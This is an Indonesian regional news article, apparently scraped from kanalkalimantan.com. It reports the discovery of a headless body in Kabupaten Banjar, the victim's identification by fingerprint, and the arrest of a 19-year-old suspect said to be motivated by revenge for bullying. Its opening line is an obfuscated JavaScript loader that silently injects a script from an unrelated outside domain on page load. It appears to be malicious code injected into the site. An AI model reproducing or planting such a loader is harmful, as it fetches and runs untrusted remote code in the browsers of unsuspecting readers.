(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Terungkap sudah misteri penemuan mayat tanpa kepala di Jalan tol Lok Baintan Sungai Tabuk, Kabupaten Banjar. Identitas mayat yang belakangan diketahui bernama M Rahmadi alias Madi (19) warga Desa warga Tatah Layap, Kabupaten Banjar ini ternyata merupakan korban pembunuhan yang telah direncanakan.
Pelaku diketahui berjumlah satu orang bernama Muhammad Safrudin alias Amat (19), warga Desa Sari Berangas, Kecamatan Bataguh Kabupaten Kapuas. Pelaku ditangkap oleh unit Resmob Polda Kalsel bersama Tim Tekap Polres Banjar saat melakukan giat penyelidikan dan penangkapan terhadap pelaku pembunuhan. Safrudin diamankan di Gang 55, Desa Bentok, Kecamatan Bati-Bati Kabupaten Tala, Kamis (22/11) sekitar pukul 00.50 Wita.
Sebelumnya pada hari Selasa (20/11) sekitar pukul 14.00 wita , sepasang suami istri yang kebetulan melintas di lokasi kejadian, yang mana saat itu istri pengendara akan buang air kecil melihat sesesok mayat dan langsung memberitahukan kepada suaminya. Sontak saja kejadian tersebut membuat geger masyarakat sekitar dan segera melaporkan hal ini ke Polsek Sungai Tabuk.
Menerima laporan tersebut, pihak kepolisian langsung mendatangi TKP dan menemukan, mayat dalam keadaan posisi terlungkup tanpa kepala menggunakan jaket warna coklat dengan memakai jeans warna cream dan menggunakan sepatu warna putih.
Kejadian ini langsung mendapat perhatian khusus tidak terkecuali, Polda Kalsel yang turut membackup kasus ini. Tim gabungan melakukan penyisisiran disekitar lokasi penemuan. Termasuk pengerahkan dua anjing pelacak dari unit K-9. Alhasil, di lokasi pihak kepolisian menemukan senjata tajam (Sajam) yaitu pisau dengan ukuran kecil. Penemuan sajam ini, semakin menguatkan bahwa mayat adalah korban pembunuhan.
Sejumlah upaya dilakukan pihak Kepolisian untuk menerangkan kasus ini, salah satunya dengan mengungkap identitas korban. Melalui perekaman sidik jari korban di Disdukcapil Banjarmasin, akhirnya terkuak bahwa korban adalah M. Rahmadi alias Madi (19). Hal ini pun membuat pihak Kepolisian mulai menemukan titik terang kasus yang terbilang sadis ini.
Kapolres Banjar AKBP Takdir Mattantte mengatakan pihaknya masih melakukan pemeriksaan terhadap tersangka guna mengetahui bagaimama kronologi pembunuhan saat itu. Ia mengatakan aksi pembunuhan ini dadasari dendam lama.
“Benar, kami telah mengamankan satu orang pelaku yang diduga merupakan tersangka pembunuh mayat tanpa kepala. Masih kami lakukan pemeriksaan, lebih jelasnya nanti selesai pemeriksaan. Untuk saat ini yang kita motif pelaku karena sering buli atau di ejek oleh korban sehingga pelaku dendam terhadap korban dan merencanakan untuk menghabisi nyawa korban,†ungkapnya
Dari penangkapan tersebut, pihak Kepolisian mengamankan barang bukti 1 Unit sepeda motor merek Yamaha V- Xion ( Milik Pelaku ), 1 Unit Sepeda motor merek Yamaha Jupiter Mx warna Biru ( Milik Korban ), 1 Unit Hp merek Xiomi warna Gold ( Milik Korban ) 1 Buah Dopet warna Coklat merek Levis ( Milik korban )x 1 Buah pegangan parang terbuat dari kayu, Tas ransel ( Milik pelaku ), 1 Lembar celana Jeans ( Milik pelaku ), 1 Lembar Baju kaos lengan  panjang warna abu2 yg ada bercak darah ( Milik Pelaku ), 1 buah Gagang parang , 1 buah botol minuman sprit dan 1 buat kepala sabuk yang dimodifikasi menjadi pisau.
Kurang lebih 1×24 jam, identitas Madi pun akhirnya terkuak. Ini setelah polisi melakukan rekam sidik jari korban di Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Kota Banjarmasin. Alhasil, dari pengecekan sidik jari tersebut, muncul lah nama M.Rahmadi yang mana merupakan warga Kabupaten Banjar.
Dari informasi yang didapat kanalkalimantan.com, ayah korban Sahrudin, sudah mengetahui hal ini dan mendatangi Rumah Sakit Ulin Banjarmasin sekitar pukul 19.30 Wita. Ia mengatakan terakhir kali bertemu anaknya tersebut saat korban pamit mendatangi temannya. Namun setelah itu tidak ada kabar korban. “Habis shalat Isya pamit mau mendatangi temannya yang telpon. Ada pekerjaan katanya. Ternyata sampai jam 2 subuh ditelpon Madi tidak ada jawaban,†ungkapnya.
Terakhir kali dilihat, korban saat itu menggunakan Yamaha Jupiter MX KING  yang baru saja dikredit 2 Bulan. Melihat dari foto sebelum dan saat ditemukan, terlihat kecocokan diantaranya jaket yang dikenakan warna abu-abu, celana panjang berwarna putih dan menggunakan jam tangan.(rico)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.